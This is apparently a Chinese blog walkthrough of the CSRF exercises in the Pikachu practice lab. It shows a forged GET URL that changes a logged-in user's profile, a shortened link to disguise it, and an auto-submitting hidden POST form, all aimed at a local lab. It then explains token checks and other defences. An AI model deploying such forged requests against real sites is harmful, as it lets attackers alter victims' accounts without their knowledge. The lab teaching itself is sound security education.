• Pikachu靶场——跨站请求伪造(CSRF)


    1. 跨站请求伪造(CSRF)

    还可以参考我的另一篇文章:跨站请求伪造(CSRF)

    全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密码等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

    什么是CSRF?

    CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

    1.1 CSRF(get)

    这里是一个登录界面,使用提示的用户名和密码进行登录

    image-20230817202634396

    发现是个人信息页面

    image-20230817202724408

    点击修改个人信息,点击提交

    image-20230817202815885

    所以这时候可以使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容。

    image-20230817203208173

    从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么我们可以修改路径中的参数。

    例如将电话好修改为一个新的参数。

    127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=150666666668&add=%E5%8C%97%E4%BA%AC&email=2488%40qq.com&submit=submit
    
    • 1

    image-20230817204543665

    但是这个路径太明显了,可以使用短路径的方法,来伪造我们的路径。

    image-20230817204434743

    https://s.r.sn.cn/vEARsG
    
    • 1

    如果被攻击者此时登录状态或cookie/session没有过期,如果用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(黑客设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了。

    1.2 CSRF(post)

    登陆allen账号进行修改

    image-20230817205148900

    然后使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容

    image-20230817205300480

    发现采用的传递数据的方式是POST提交,同样知道本页面中有的标签以及name,方便后面构造表单时使用。

    攻击者可以通过构造恶意站点,将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。

    <html>
        <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
            window.onload = function() {
            document.getElementById("submit").click();
            }
        script>              
        <body>
                <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                    <input type="hidden" name="sex" value="girl" />
                    <input type="hidden" name="phonenum" value="15088888888" />
                    <input type="hidden" name="add" value="缅甸" />
                    <input type="hidden" name="email" value="222488@qq.com" />
                    <input type="hidden" name="submit" value="submit" />
                  <input id="submit" type="submit" value="Submit request" style="display:none"/>                    
                form>
        body>
    html> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    image-20230817215704754

    将写好的表单部署到攻击者的站点,这里因为是本机做演示,所以位置在WWW\pikachu\vur\scrf目录下。

    image-20230817213536035

    用户访问攻击者的站点127.0.0.1/pikachu/vul/csrf/CSRF.html并点击提交按钮,那么其个人信息将会被恶意修改,可以在控制台中看到点击按钮后触发的POST请求。

    点击前

    image-20230817215717853

    点击后

    image-20230817215732022

    1.3 CSRF Token

    token验证原理

    CSRF的主要问题是敏感操作的链接容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证。

    网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。

    使用bp抓包查看,可以看到报文中包含token

    image-20230819162127015

    查看源代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。并且在修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。

    image-20230819162741827

    image-20230819163615005

    set_token()函数在生成新token之前会先销毁老token,避免token重复使用。

    image-20230819164654524

    1.4 CSRF漏洞防御

    • 验证Referer字段
    • 添加Token验证
    • 二次验证:在关键操作之前,再输入密码或者验证码。
    • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。
    • SameSite:Cookie 属性,浏览器自带的安全机制。
  • 相关阅读:
    商鼎云|亚马逊云盘关停了?你需要了解分布式存储云盘
    Redis安装及常用配置
    计算机视觉中的细节问题(二)
    195、SpringBoot--配置RabbitMQ消息Broker的SSL 和 管理控制台的HTTPS
    C#自定义配置文件(一)
    UOS Deepin Ubuntu Linux 开启 ssh 远程登录
    SQL的函数
    Day5 计算机网络分层结构——OSI、TCP/IP、五层参考模型
    流调溯源 腾讯接口实现批量地址转换
    一体化运维管理平台:为企业提供全面监控和运维服务
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133634247